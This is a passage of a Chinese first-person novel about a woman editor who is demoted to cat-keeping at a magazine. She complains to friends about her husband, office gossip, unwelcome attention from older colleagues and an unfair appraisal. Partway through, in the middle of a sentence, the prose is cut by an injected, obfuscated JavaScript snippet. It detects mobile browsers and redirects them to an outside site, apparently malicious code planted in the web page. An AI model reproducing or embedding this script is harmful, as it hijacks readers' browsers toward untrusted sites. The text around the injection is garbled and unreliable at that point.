她说:“天呐!小宋啊,这个人真的脑子少根筋。你以后要小心他了。你以后的钱啊什么的,可要管好。别让他给你败坏了。” 我说:“我知道。他这个人没脑子,他不怎么管钱的事,跟他说了密码他都不记得。他就是没脑子。你说,我怎么净遇到这种货啊!人家杜社长跟人事科科长不是恨死我了呀!我以后还有好日子过吗?” 春霞姐说:“他又不是你们单位的,他自己逍遥自在了,他都没为你想想,你以后怎么过的。他做的事最后都会反噬到你的身上。” 我说:“春霞姐,你说我倒霉吧。我在工作最不称心的时候,我的傻货老公还在背后捅我一刀。你说,我遇到的都是什么玩意儿啊?我能跟他离婚吗?我孩子还那么小。我现在不如意,再跟他离了婚,更是雪上加霜了。” 春霞姐说:“离婚是不可能的。对小孩子伤害太大了。你以后要小心点他了。” 我说:“我还能跟他说什么?我以后无论工作还是什么都不跟他说了。你知道就这种没脑子的货,生活中是怎么样的吗?我跟他根本就聊不下去!你知道他妈妈又是什么样的吗?他们一个比一个昏头。你说我跟这种人怎么过的?我跟他们一起,没被他们逼疯,都是好的。他们说话做事没脑子,他们还说我是泼妇!” 春霞姐说:“他这个人做事真是存心不想让你好啊。” 我说:“他是个傻货!你知道吗,他害死我了,他都不知道!他居然还说,让我去当官,当官才能加薪。你说他傻到什么程度!他干了这种对不起人家的事情,人家让我活着就不错了。他竟然跟没事儿似的,还想着人家会重用我!我这辈子怎么遇到这种傻货!他是一点人心眼儿都没有啊!缺心眼儿的玩意儿!” 春霞说:“小宋,你现在在那怎么样?” 我说:“喂猫的事情很多,很琐碎,起初,我也是战战兢兢,跟着人家亦步亦趋地学着养猫。一开始,我觉得那些人好厉害,好牛,怎么知道那么多养猫的知识,我怎么什么都不知道呢。可是慢慢地,我对养猫的工作很娴熟了,我才知道,其实,养猫,不过如此。” 春霞姐笑着说:“是的,养猫嘛。就是耗费时间和精力。其他的没什么。” 我说:“可是,因为我是年到四十才开始养猫,在那些小年轻的养猫员的眼里和《喵一生》的领导的眼里,我是多么愚蠢。我是因为多么无能多么垃圾才被《小坛》发配到了《喵一生》的。” 春霞姐说:“你别管他们,论真才实学,他们有几个能跟你比的。” 我说:“春霞姐,不瞒你说。我是一个读书人,爹娘供养了我读书读研,可是在《喵一生》,人家却让我来养猫,我毕生所学没有任何用武之地。这儿不需要之乎者也,不需要诗词歌赋,这些,在这里多说一句都是浪费。我俨然是一个惨遭抛弃的老废物了。” 春霞姐说:“是的,一个人怀着满腔热血,干了十年的工作,到现在落了一个不停地被否定的下场,被否定地一文不值。换做是谁,谁都会很痛苦。但是你也不要悲观,毕竟只是一份工作而已。我们还是要过好自己的日子。” 我说:“春霞姐,跟你说实话。我很悲观,我悲观他们对待我的方式,我怀着悲观的心理,到处装孙子。可是,我从来都不悲观我自己。我不服输,这辈子都不服输,跟谁都不服输。” 春霞姐说:“对的!对的!就应该这样,你很坚强!” 我说:“春霞姐,你说,我是废物吗?” 她说:“不是!你当然不是。” 我说:“我不是废物。我不仅不是,我还是个大才。可是,有谁能认可我?有谁能证明我?算了。去他娘的吧!如今,我也不需要什么认可和证明了。我甚至不需要什么公平。我要公平干什么?公平好吃还是好喝?我要富裕。我要精神和物质上的富裕,这些,只有我自己才能给我自己。我要种起我自己的一亩三分地,这是我站起来的拐杖,也是我还击的武器。” 春霞姐说:“对的!对的!小宋啊,你老公跟你婆婆,你也不要跟他们闹地太僵。毕竟你还得靠他们给你带孩子!我们都是外地的,无依无靠。能帮助我们的也就是他们了。” 我说:“知道了,春霞姐,谢谢你!” 3.吃瓜、老萧 这以后,我在喂猫之余的时间里,就悄悄地打开电脑,静静地耕耘我的一亩三分地。我打开我的电脑,敲打着我的键盘。我敲打键盘的声音有些沉重有些粗笨。 “宋编辑,你在干什么呢?”小田问。 “写论文写论文!”我笑着说。 “写了几天了?还没写完呢!”她说。 “没写完,太笨!精益求精!”我笑着说,“打扰到你了吗?” “没有!我刚才在追剧的!”小田说。 “追什么剧啊?我们来八卦一下吧!我想吃瓜了!”我身后头的小草说,“谁有瓜?来!我来搬好小板凳,我们一起来吃瓜!” 小草的小板凳真地搬好了,她到处招呼着:“来来来!谁有瓜?你有吗?”她的声音就在我的脊梁骨上、脑门子上回响。仿佛是直接质问我似的。 我想,我有瓜,我自己的瓜就很多,我其实无所谓,我出了《喵一生》的门儿,跟陌生人可以随便说。我也可以把我的瓜写成一本书昭告天下。但是,你要是为了八卦而八卦,为了吃瓜而吃瓜,我可是一句也不会跟你说。我这个宋婆也不吝啬卖自己的瓜,可是那也要分人,分场合,大庭广众之下,你让我当众卖瓜,我可不会配合你。 这种氛围也不适合我去耕耘自己的文字了,我关上电脑,拿起蓝色水笔开始写我的喂猫记录。 “谁的瓜多?莉莉好像知道很多瓜,她是个大广播。要不,我们让她来给我们八卦一下!”小草说。 “行!”莉莉说,“我有瓜!你们要谁的?” “好!我们八卦谁呢?八卦我们身边的人吗?”小草说。 “花宇轩跟杨雪儿谈恋爱了,你们知道吗?”莉莉说。 “花宇轩是谁?”小草说。 “就是那个个子高高的,有点黑的那个。他是个体育生。”莉莉说, “体育生,你懂得,他上高中的时候就有很多女生追他,私生活很乱的。” “那些女生为什么那么喜欢他?我就不喜欢他,我觉得他的脸上有些崎岖!”小田说。 “花宇轩早就不想在《喵一生》了,他还想考公呢。人家家里特别有钱,他老爹开了好几家公司。”莉莉说。 “那他要是考公考走了,杨雪儿不是要哭死了?”小草说。 “哭什么,《喵一生》帅哥多的很,花宇轩走了,杨雪儿再换一个呗。比他帅的多了去了。你以为男人都死光了啊?”小田说。 “换谁啊?”小草说。 “鲍照就比他帅啊!”小田说。 “你可拉倒吧。”小草说,“鲍照结婚了。你这是想破坏人家家庭啊。重婚罪,犯法的。人家前几天都升了官儿了。你想耽误人家大好的前程啊?” “什么?鲍照结婚了?天呐!他才多大?他不是刚毕业吗?他工作还不到半年啊?”小田说。 “怎么?鲍照结婚了你好像不高兴嘛?别忘了你可是已婚小少妇。你还比人家大好几岁呢。请你为了你的老公安分守己一点。”小草说。 “鲍照升官儿了?”莉莉说,“他工作还不到半年呢。” “人家爹有本事。怎么的?不服啊。人家还是跨区调过来的呢。人家前几天才升的储备干部,过不了多久就是主任了。”小草说。 “鲍照多大了?”小田说。 “97年的。今年27了。怎么?你还不甘心呢?”小草说。 “也就是比我小4岁嘛。”小田笑着说。 “你要去色诱他?”小草说,“你把你爱撒娇的小少妇的本事拿出来,他或许真地会拜倒在你的牛仔裤下。你要不要去试一下?” “他怎么结婚那么早的?”小田说。 “人家爹有钱,人家的爹是《黑土白云》杂志社的社长。人家的婚房光装修都大几十万呢。”小草说。 “鲍照以前很高冷的,不爱说话。他一下子当了干部,能适应吗?”小田说。 “有什么不适应的。人家现在变得可亲民可随和了。当官儿了嘛。心情当然好了。”小草说。 “哎,人家有个好爹,把路给人家铺地好好的。”莉莉说,“我要嫁人!我要嫁给土豪的儿子!” “是的,莉莉以后嫁人要嫁地好一点。没有个好爹,争取有个好公公。找个富二代。”小田说。 “我才不找富二代,富二代家的钱都是他爹的。他就是想赶紧找个人结婚生崽完成任务,然后他可以随便去玩。你要是受不了,那就离婚。反正他孩子已经有了。钱都是他爹的,离婚的话,你一分都捞不着。我早就想好了。要找就找富一代。”莉莉说。 “对!要找就找富一代!”小草说。 “我还知道一个八卦。”莉莉说,“是关于一个老员工的。你们要听吗?” “要听!要听!”小田说。 莉莉压低声音说:“你们知道王丽吗?就是编辑部的那个女的。” “知道!知道!”小田说。 “听说她离婚了!”莉莉说。 “为什么啊?”小草说。 “因为她老公不能生孩子。她们连性生活都没有。她以前不懂。过了几年才知道是她老公有问题。”莉莉说。 我觉得这个故事简直就是在说我。我差点一下子笑出来说:“这不就是我嘛,我的故事就是这样的。”可是我还是忍住了,我什么也没说。 “天呐。她说不定到现在还是处女呢。”小草说,“我一个同学就是这样的。她老公不行,她一开始傻傻地什么都不懂。后来去检查才知道她老公是弱精症,根本不能生孩子。” 小田说:“所以我就跟你们说,婚前同居还是很有必要的。否则,他有什么毛病,他们家都会瞒着你。你根本就不知道。” 小草说:“你婚前同居了。你把跟前任的事拿来跟现任说,都说岔劈了。” 小田笑着说:“是的!我跟我老公去迪士尼,我跟他说,‘上次,就在这儿,你抱着我。’我老公很惊讶地看着我,他说,他以前根本就没来过啊,他这是第一次跟你我来迪士尼啊!” 小草说:“你的前任太多了。你都分不清哪个跟哪个了!” 小田说:“是的呢。我的相亲恋爱过程都可以写一本书了!” 莉莉说:“你可以把你的恋爱过程写出来,排成电视剧,名字就叫《我的前半生》。” 有人给我发了钉钉信息,要加我好友。我一看,是《小坛》的老萧。老萧不跟我一个组,我跟他只有几面之缘。他五十多了,没几年就要退休了。我同意了老萧的好友申请。 我说:“老萧大哥好。我都被《小坛》发配走了,现在身在难中,您居然还想着我这个贬谪之人,我非常感动。谢谢您还愿意跟我联系。” 他说:“听说你被调到《喵一生》了。我今天开会才听你们中文组的人说的。” 我说:“是的。” 老萧说:“我们英文组的人这几年也走了几个。不要消沉。我这辈子经历的磨难比你多,都过来了。你要好好的。” 我很感动。我说:“谢谢老萧。听说您把您的女儿培养地很好。” 他说:“是的。我女儿在纽约留学归来,在北京找了份工作,嫁给了一个北京人,已经生了孩子了。” 我说:“您都当外公了。我一直比较羡慕您这样的家庭。我要等到什么时候才能把我的孩子培养成才呢。” 他说:“不着急。慢慢来。一转眼孩子就长大了。” 我说:“我以后就不用《小坛》的钉钉了,我加你微信吧。” 老萧说:“好的。”然后,他就把他的电话发给了我,我就加了他的微信。 老萧说:“你等一下,我有话要跟你说。”然后,他就给我发了一段鸡汤文。 我一看,那段鸡汤是这样的:“科学研究发现,积极的心理暗示能产生巨大的能量,而消极的心理暗示能毁灭一个人……” 老萧紧跟着说:“我就想告诉你这些的。” 我对老萧那段狗屁鸡汤文根本不感兴趣,我看了一眼,几乎没怎么看下去。我根本看不上这样的狗屁文字,我也不觉得这段狗屁鸡汤煲地有多好。 况且,我是一个四十岁的中年妇女,我非常非常清楚,我需要的是根本不是鸡汤,而是实实在在的帮助。 不过,他既然要班门弄斧好心安慰我,我也就假装很感激,收下了他的这碗破鸡汤。 我跟他说:“谢谢老萧,我知道您是好心,怕我低迷消沉。但是我的生命多灾多难,早就习惯,我即使泪流满面,但是我的内心仍然乐观。我不认为我比那些人差,我更不会一蹶不振。我相信我还会有更美好的明天,虽然目前不知道是哪天。但是我可以努力朝那最美好的明天跑去。那美好的一天是我自己给我自己的。虽然工作上人家给了我一条荆棘丛生的路,但是我绝不会认输。” 他说:“对头!” 我说:“现在大家都很忙,就不多打扰您了,以后再聊。” 他说:“好的,你以后有什么事问我,我比你有经验。” 我其实并不觉得我有什么事要问他。 我就跟他客气了一下,我说:“好的。” 中午,我去食堂吃饭的时候,遇见了《喵一生》杂志社的一个男社长,仿佛是姓田。我还不太敢确定,也不太认识,就端着餐盘,小心翼翼地叫了一声:“田社长好!” 他温和地笑了一下。 我低头吃自己的饭,可是唯恐自己叫错了贵姓。心中好生惶恐。 正在这时,一个中年男人端着餐盘过来跟我说:“你是宋编辑吗?” 我说:“是的。” 他说:“宋编辑,你那个喂养室里有一只小猫,天生的记性不好,前面教了后面就忘,没有用。你教不会的!白费力气!” 我说:“可是,领导不管你这些啊。考核的时候,他们就说是我教地不好。” 他说:“我去年就喂养过你养的那些小猫。差点被它们搞死!那些小猫太皮了!你不要说是训练它们了,光是让它们安静下来都不容易。我去年拿指挥棒打的。” 我说:“谁敢打猫猫啊,都是宠物。” 他说:“没办法,不打不行,太皮。根本没办法训练!我光是让它们静下来就搞了半小时。喂养过你们那些猫猫的都没有好下场,老唐肺部得了毛病,开了刀。你们的主喂养员小影前阵子也开刀了。她本来就不怎么管事儿,她一开刀就更加不会管了。主喂养员一不管,你就更难办了。” 我说:“天呢!你太了解它们了。” 他说:“你那些猫猫我喂过的。你喂它们,你受苦的。特别是那只波斯猫,太皮了,一刻没有安静的时候。” 我说:“对对对!你是怎么知道的?它是一直叫,一刻都不停啊。” 他说:“后来,我打了它几个指挥棒。领导差点来通报我。我连夜给它拍照,给它戴上小红花,让它做了标兵猫。领导这才怒火平息。” 我说:“也只有你还能理解我一下了,你贵姓啊?” 他说:“我姓张,我叫张阳。” 等我回到休息室,看看没有其他人。 我就问小田:“小田,我吃饭的时候遇到了一个年轻的男社长,是姓田吗?” 小田说:“他长得什么样儿?” 我说:“他不苟言笑,头发梳地一丝不苟。” 小田说:“那是田社长。你没喊错。他是杜社长的外甥。他先是做了编辑部部长,后来没到三年又做了副社长。杜社长把他家的人全弄到身边来了。他侄子也在这里。他侄子本来是实践部的,被他搞到编辑部了。” 我说:“感情这是人家的家族企业。” 我的喂养室是第五室。我自己去喂养小猫的时候,也是学着她们的样子:“把小手伸出来!对!跟着宋妈妈一起来!小手拍拍!咪咪乖乖!” 我喂养的那些小猫没有小田的乖。比她的要散。它们看我并不严厉,手里也没有指挥棒,就咪咪地小声叫唤了起来,我想,叫唤两声儿就叫唤两声儿吧。小猫嘛,哪能一点不出声呢。 窗外,巡视的衣部长来了。她双唇紧闭,铁青着脸。肩膀上挂着两条裤腿子似的什么装饰物。她站在窗外朝里看了一下,一甩脸,拿起文件夹和笔,趴在窗台上就刷刷刷记录了起来。 我心想,完了,肯定是要被通报了。我一个新手,又不知道你们的规矩,你低着头记录,让我等着通报批评,还不如直接进来跟我说呢。 等我的训练结束以后,回到了休息室。一看手机,是一堆通报的:第五室,室内卫生不好,地上有猫咪褪的毛。猫窝排列不整齐,猫咪坐姿不成一条线。猫咪有低声的叫唤。 我看了,得!以后就跟着领导的通报学习吧!我赶紧在网上买了指挥棒,还有小蜜蜂,还有一些哄猫猫的猫粮。 这以后,我去喂养猫咪的时候就更加精神了:左边挎着小蜜蜂,右手拿着指挥棒,手里提着猫粮,简直是全副武装。 是的,我已经快速地进入并且适应了养猫员这一角色了。 人是可以被规训的。你很排斥的你不愿意的,你原先无法接受的,到最后变成不接受也得接受了。你被动地咽泪装欢地接受着命运赋予你的一切。慢慢地你就习惯了。慢慢地,你就会沉浸在自己原先一点都不能接受的角色里,并且忘记了原先的自己并且甘之如饴。 我们管这叫随遇而安。我们管这叫懂事。我们说这叫学会变通。我们称这叫有心胸。 就像一个被父母狠心抛下的孩子脸上挂着眼泪投入了一个他原本极度拒绝的人的怀中。就像一个闹了饥荒的人强撑着咽下一个米糠做的菜饼。就像一个知书达理的娇小姐被迫嫁给了一个举止粗野的老农。是的,他们会很好的接受并适应。他们自己打碎了自己那颗哭泣的心脏和灵魂,他们强拖着着他们的精神和□□去接受他们根本就不想接受的结局。 杜社长抱着膀子在我的喂养室经过的时候,我正戴着小蜜蜂,拿着指挥棒,激情澎湃地训练着那群小猫。我打窗户看见了他,两腿发软,露出十足的谄媚的微笑。 是的。谄媚的微笑。 一个人,在另一个人面前的样子。取决于另一个人对他的态度。一个弱者在强者面前的样子,取决于强者对他的态度。所谓的强者,并不一定是真正的强者。所谓强龙不压地头蛇。所谓落架的凤凰不如鸡。所谓虎落平阳被犬欺。所谓成王败寇。所谓三十年河东,三十年河西。一切都是形也,势也,运也,命也。 有时候,想想那些比我强大很多的人,我的膝盖会变软。他强大是因为他有拳,可以把我打死。他强大是因为他有权,可以把我整死。他强大是因为他有钱,可以把我弄死。是的,每每这时,我的膝盖会变软。会在内心里祈求他们的饶恕。 古人为什么那么喜欢下跪呢?因为他们需要下跪来祈求饶恕。弱者是需要时时下跪的,下跪是他们的自我保护。是的,为了保护自己,所以你有时的卑躬屈膝也没有什么关系。只要你的心是站着的。只要你还愿意去拯救自己。只要你的心能够体会到卧在柴草上的凄凉,只要你把那苦胆深深地在你的内心深处埋藏。 过了几天,老萧发来了微信:“在忙吗?” 我说:“是的,老萧,太忙了。我现在真觉得力不从心,现在很多刚工作的小姑娘才二十多岁,我都四十了,在人家眼里都是老太婆了。” 我说这话其实是在提示他。他个老头子了,要自觉,不要再给我发什么莫名其妙的信息了。我有丈夫有孩子,我真地不需要他的关心。他也可以大发慈悲,真心要关心我。但是不应该是发个“在忙吗”这样的有些暧昧的文字。尽管,他是不自知他这样的糟老头子根本没有资格跟我暧昧的。他如果真的想关心我,他如果真的有什么要紧的话要叮嘱,他可以直截了当发信息跟我说。他居然一句人话不说,悄悄问我“在忙吗”。 什么东西!我开始厌烦这个不自觉的老东西了。 本以为我的提示能让他自觉一点。因为我觉得我说我自己老了,他就应该想到他都快六十了,他岂不是更老了,他就该知趣点,不要再来烦我了。 可是,又过了几天,我在食堂排队打饭的时候看了一眼手机,老萧居然又给我发了一个莫名其妙的笑脸。他脑子有病吗? 我不好意思骂,就跟他客气说:“老萧好,我最近太忙了,有空再聊哈。谢谢老萧。” 我想想那个姓萧的骚货死老头儿,我就一肚子气。端午又在上班,我也不想跟他说这种糟心的事儿。但是我的脾气是憋不住气,藏不住事儿的。 我就跟春霞打电话。 我说:“春霞姐,你在干嘛?” 她说:“我正在外面逛街,跟一个朋友约好了中午一起吃饭。” 我就跟她说:“那我拣重要的说。《小坛》的老萧,他不是都快退休了吗?听说他女儿都生了孩子了。他是不是不要带孙子,天天闲地发慌啊?他不知道从哪里抄来的一段鸡汤文发给我,他是不是觉得我从来没见过这样的鸡汤,我会感激他崇拜他呢?他不知道我是中文编辑?这样的鸡汤我自己随便写一段儿都比他抄来的好?他发就发吧,他还给我发莫名其妙的微信,问我‘在忙吗’?他这是想跟我闲聊吗?他也配?!他要是真地想关心我,他可以像你这样直截了当地跟我说。‘小宋,有什么什么事,你要注意了。’那也可以。他不应该给我发‘在忙吗’这样有些暧昧的文字!我说我都四十了,在人家二十几岁的小姑娘面前我都是老太太了。我就是想提醒他,我四十我都觉得自己老了,他快六十了,他岂不是更老了?那他就该安生点儿。谁知道过了几天,他又莫名其妙地给我发了一个笑脸。我就是身在难中需要安慰,我也得找个奶油小生,最起码也找个壮汉。我怎么也不稀罕他一个老头子来安慰我啊。” 春霞说:“这就是欺负人。他看你是外地的,他觉得我们外地的女人,遇到这种事儿只会埋在心里。” 我说:“呸!三寸钉,枯树皮,不要脸,武大郎!他抱不到外孙子,闲地发慌,下班了去摆摆地摊,卖卖炊饼!他居然想跑来招惹他姑奶奶!姑奶奶稀罕他这个糟屁样儿的!一把公鸡肉硬地嚼不动了!一块老骨头快散他娘的架儿了!什么玩意儿!以为我瞧得上他?” “我就是没有男人急得发狂,也看不上他这种贴着地面爬行的东西!他是不是觉得他那些狗屁鸡汤,我很稀罕?他不知道我都四十了,我最不缺的就是鸡汤吗?他是不是觉得他在我跟前是什么成功人士,有钱多金?他糟地都搞不成事儿了吧?我即使想搞事情,我找他这样的啊?他不知道现在中国男女比例严重失调,姐弟恋盛行,四五十岁的女的都找年轻的小鲜肉啊。” 春霞笑着说:“是的,《小坛》的很多老男人都特别自信。” 我说:“他们一个个都觉得吧,都是他们老婆把他们看地紧,否则,他们会被那些十八岁的小姑娘抢地渣儿都不剩!也不知道十八岁的小男生干嘛去了。” 春霞说:“他们很多都这样!” 我说:“我再跟你说一件事。关于老栾的,这件事我从来没跟别人说过。你知道吗?我离婚以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137819|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老栾让我去他家。我以为他是给我介绍对象的。我当时什么也没多想我就去了。结果,临走的时候,他抓我的手。” 春霞忍不住笑了,她说:“我突然想起来一件事。” 我说:“什么事?” 她说:“老陆的儿子结婚的时候,我去吃席,他居然给我夹了一块鸡块在我碗里。我居然还吃了一点。我后来想想,我当时就该把那块鸡块扔掉。” 我说:“老陆啊,我的妈呀,脸肿地跟小孩屁股似的,屁股肿地跟八斗似的。他是不是觉得他长得富贵流油的,他很自信啊。” 春霞说:“是的。我也跟你说件事。也是老栾。我们几个同事去爬山。我走到一个上坡的地方走不动了,他居然要抱我。我当时脸色就沉下来了。我说,‘老栾,你怎么能这样。’他说,‘小霞,我们在外面就像夫妻一样。’” 我说:“天呢,原来这种骚货都是到处撩的。” 春霞说:“他们很多人都这样,趁机揩油。他们觉得我们是外地的,没有家庭可以撑腰,就敢欺负我们。要是你是本地的,他们根本就不敢。包括他们决定把谁弄走,也是这样。人家要是有钱有势,他们根本不敢动人家。” 4.我们俩不要内耗 一天上午,郝跃跟我发信息说:“我问你件事儿哈。你不要生气。” 我说:“什么事儿,你说吧。” 郝跃说:“这个问题有点儿尴尬。” 我说:“没事儿的,你说吧。我都这把年纪了,什么都不在乎了。” 郝跃说:“就是我闺蜜,她不是很有钱吗?她也是八零后,现在年龄也不小了。她跟你有点像,也是离过婚,有短暂的婚史。她现在喜欢上一个男的,那个男的比她小,工作也好,长得也帅。对她也好。她就是没敢告诉她,她离过婚。她现在特别担心,她们两个去结婚的时候,民政局里有没有记录。她的情况跟你的情况很像,我就问问你。我又怕你尴尬。”我心里想,无耻小人!你真的怕我尴尬,你就不会跑来问我。你用你的那个马蜂的肚子来蛰我一下,你还故意装作你很善良很体贴人。 小人终究是小人!冷不防地就会做一件阴险卑劣的事来让别人再一次确定她就是个小人! 你做个彻彻底底的小人来伤害我,我还诚诚恳恳地来配合你么?想的美! 我说:“没事的。我都四十多岁的大妈了,脸皮早就历练地厚厚的了。有什么好尴尬的。人这一辈子,子子孙孙,千秋万代的,经历的事儿可多着呢,谁一眼看到底了。你的闺蜜的事儿呢,我也不清楚。每个人的情况不一样。你自己去一趟派出所问问,或是让她自己去一趟派出所问问就知道了。” 她说:“好的。实在不好意思啊,问你这么尴尬的问题。” 我说:“没事儿。婚姻这种事情瞒不了的。我觉得还是如实相告。” 她说:“嗯,我也这么觉得。那谢谢你了啊。” 我说:“没事儿,不用谢。” “你现在怎么样?”她问我。 我说:“我就那样吧。正常上班。你呢?” 她说:“领导一开始都没给我分派工作。后来,是梁编辑分了一部分她的事务给我做的。我现在连办公桌都没有。自己弄了张桌子,跟她们挤在一个办公室里,她们天天嫌挤,天天问我什么时候走。上次王编辑进来,看到我被挤在角落里,说我跟晚娘生的一样。说地我心里可难过了。” 我说:“天呢,她们怎么能这样对待你。” 她说:“我现在就是闭嘴。什么也不说。我能说说话儿的只有你了。” 我说:“所以,我也不会拿你当敌手。你即使不走,吊在那也是难受。我也想跟你说说话儿。我们毕竟有很多共同的经历、共同的想法。有时候,我真的想跟你一起到山里走一走,坐一坐。什么也不用说。就这样跟你一起待着。所以,打心眼儿里说,我不想让你走。有你在,我们还能互相安慰,聊聊天儿,你还能跟我说说《小坛》的事儿。” 她警觉地说:“你都走了,还要知道《小坛》的事干什么?” 我说:“我那话不是安慰你的吗?你跟我打电话聊的不都是《小坛》的事儿吗?我不是怕你多想吗?我不是只知道《小坛》吗?其他的地方我又没有待过。我们能聊的只有《小坛》了。再说了,你都不知道我有多忙,《小坛》就是消失了,跟我又有什么关系啊?” 郝跃说:“你走了以后,吴悠悠还替你打抱不平呢。” 我心里想,吴悠悠替我打抱不平,你肯定不高兴吧。 我说:“打不打抱不平的,我现在也无所谓了。” 她说:“你走了以后,她们都问我,‘你为什么不走?为什么大省走了?是不是你在领导那里捣的鬼。’” 我说:“她们怎么这样说?我走跟你有什么关系?不是你,我还是得走。” 她说:“我没有到领导那里说你什么。” 我说:“你即使说我什么又怎么样呢?你如果能说的动领导,那也是他本来就想让我走了。他如果不想让我走,谁也说不动。但凡《小坛》有一个领导为我说话,都不会让我走的。再说了,这个时候,即使你去领导面前说我什么,能保你不走,那也是你的本事。我从来不觉得我的工作变动跟你有任何关系。你也不要这样认为。我走是迟早的事,没有你,我还是要走。我们之间不要内耗,不要互相倾轧,那样真的很可悲。我从来没有恨过你。” 郝跃说:“我不像你,身体好。我是身体不行。我要是身体好的话,我根本就不怕走。我就是把我的病例拿给领导看了。我就说,我已经病入膏肓了,我不能吃食堂的饭菜,我必须回家做饭,如果把我弄到远的地方,那我就是个死。我就直接跟他说,我就说,你看你忍心吧。” 我说:“不管用什么办法,能够保证你不走,其实说来,都是你的本事。毕竟,在《小坛》多待一年,还能多拿一点津贴。能够保证自己少一点损失,那也是一种聪明。说到底,你我都是太善良了。你是因为善良,所以反复地跟我解释。我也是因为善良,不停地安慰你。” 郝跃说:“你也想开一点。你看,人家孩子都大了,就你的孩子,还怀里抱儿。你肯定没人家能拼了。而且,论业绩,她们也干地很好。你有什么好不平衡的?” 我说:“你这是来劝说我来了?你是想让我走地心服口服?感恩戴德?我不是跟你说了吗?我走,我又不恨你,你干嘛费这个力气来劝慰我呢。” “抛开资历,你说她们比我强,我一点都不服气。领导分配工作的时候,给她们分配的资源都是最好的,给我分配的资源都是最差的,给我安排最差的资源,最后非说我搞地差?非说我不能搞地跟别人差不多,这还有天理吗?” “他们分配给我的资源跟别人差不多吗?他们有话语权,就全是他们的理?我没有话语权,我不敢说不敢道,我就真的没有理?他们可以用权势堵住我的嘴,可是我的心里不会服气!绝不会服气!永远不会服气!做鬼也不会服气!下辈子也不会服气!我凭什么要服气呢?” “我从来就不服气,跟谁都不服气。包括你赞美她们的小蛮腰的时候,我也没有赞美过她们。我即使没有小蛮腰,我即使是水桶腰,我也不觉得我比她们差。我有的她们还没有呢?她们有胸吗?某人的胸像乳瓜一样都快垂到膝盖了吧?她哪里比我强?我哪里比她差?我为什么要服气呢?” 郝跃说:“你还在办公室里跟杨编辑吵架,你说说,你怎么那么爱跟人吵架?办公室里,你还有几个没吵过的?” 我说:“别人说我也就算了。你居然还这样说我?你难道不知道吗?你被压抑地不难过吗?你都是忍着的,你不是硬忍着,你早跟她们吵过十万八千回了。” 郝跃笑着说:“阿杨对我们就像封建时代的老婆婆一样。” 我说:“你明明被她欺负地难受,你为什么还这样说我?你用不着拿我跟她吵架这事儿来说话。我跟她吵架我很见不得人吗?我跟她吵架说明我有骨气,我跟她吵架说明我不够奴颜婢膝。我跟她吵架?我不都是被她逼的吗?” 郝跃说:“我不像你,我是自觉我不如她们。你跟我不一样,你有个好身体,你能拼。” 我说:“你真的不要多想,我们俩不要内耗。我们再内耗,真的很可悲。本来,我们还可以惺惺相惜,一起说说话儿,互相安慰一下的。要是再这样内耗,真的太没意思了。” 郝跃说:“是的,我现在就想多发一些核心期刊,多参加一些比赛,让自己变得更有分量一点。他们不是想动我吗,我让你动不了!” 我说:“是的,就应该这样。我们以前只知道埋头干活儿,不知道发展自己。大好的光阴就这样给浪费了。我们现在真的要搞起来。” 郝跃说:“他们都说四十岁太老了。来不及了。” 我说:“四十岁说年轻不年轻,说老也不老啊。古人说得真好啊,四十不惑。我到四十岁才刚活明白呢。我到了四十岁,人生才刚开始呢。有些事,是需要年龄的沉淀和积累的。以前想干的话,还不到火候呢。现在开始干,刚刚好。” 郝跃说:“你打算干什么?” 我说:“我们干什么不行?我们有无限的可能。她们干的事,我会干。我能干的事,他们干不成。” 5.你受了创伤了 深秋的时候,要季度考核了。我心里是没底的。我不知道我的养猫水平是怎样。 考核成绩出来了。我的业绩是78.6,垫底。她们的都是82或80。 我想,怎么回事?看来我是的确不行了。碍于情面,我也不好多问。 我就跟小田说:“小田,你看你教了我那么多,我还是垫底,真是对不住你。” 小田说:“宋编辑,你那个喂养室的猫猫本来就是最差的。之前是一个老员工喂养的,还不如你呢。” 我说:“是吗?你不跟我说,我都不知道。我还以为就是我喂养地最差呢。你这样一说,我心里好受多了。” 小田笑着说:“没有,这说明,你的能力还是可以的。这次发布的考核成绩里头有之前的原始成绩。你可以对比一下。你相比之前的成绩还进步了呢。” 我说:“怪不得呢。小猫的习惯,你是知道的,不是一天两天的事,这么大的差距,想赶上你们,很难。” 小田笑着说:“你还可以缩小差距。” 我苦笑着说:“小田,我也想缩小差距,但是,冰冻三尺非一日之寒,想缩小差距,谈何容易。” 小田说:“牌很关键。给你一手烂牌,想打成王炸很难。” 我说:“实话跟你说吧,小田,我看了一下考核业绩,我都没吭声。就我目前的状态、心态,就是我喂养的小猫综合素质跟你们的一样,我最后喂养出来比你们差很多,都是有可能的。” 她说:“是的。你受了创伤了,能做到这样已经非常不容易了。” 我说:“谢谢小田!原来你什么都知道。” 小草说:“谁不清楚啊。杜社长太阴了。他把员工的福利都搞没了。我们订的《九色天文》的杂志,本来人家还给些回扣给我们吃顿饭的。现在一分都没有了,全进了杜社长的腰包了。” 小田说:“现在我们连毛都没有。杜社长全都自己独吞了。好歹给我们发个鸡腿啊。” 我说:“小田,我现在就是担心,到时候,领导会罔顾给我的是一手烂牌的事实,一口咬定是我不行。” 小田说:“会的。这样的事他们干地出来的。其实,即使养不好又怎么样,也不能说明什么。你一个编辑,让你去养猫,本来就是强人所难。不是每个人都适合养猫的。之前一个刚毕业的研究生,叫什么来着?” 小草说:“冯春燕。” 小田说:“对!冯春燕,也被弄来养猫。她一个小姑娘,哪里搞得了一窝猫。那些猫不老实,她也被搞地焦头烂额的,领导也不喜欢。哪知道后来人家考博考走了。人家统共在这里呆了不到一年,说考博就考走了。你说人家厉害吧?” 我说:“领导开会的时候不是说学历没有用吗?越是学历高的越是养不好猫嘛。” 小田说:“他说没用就没用了啊?学历有没有用,要看把人家放在什么地方。像冯春燕,人家是博士的材料,你让人家去养猫,当然没有用了。就像你让一个作家去打扫厕所,可能他干得还没有一个扫大街的老太太干得好呢。可是你不能说人家的文化没有用啊?” 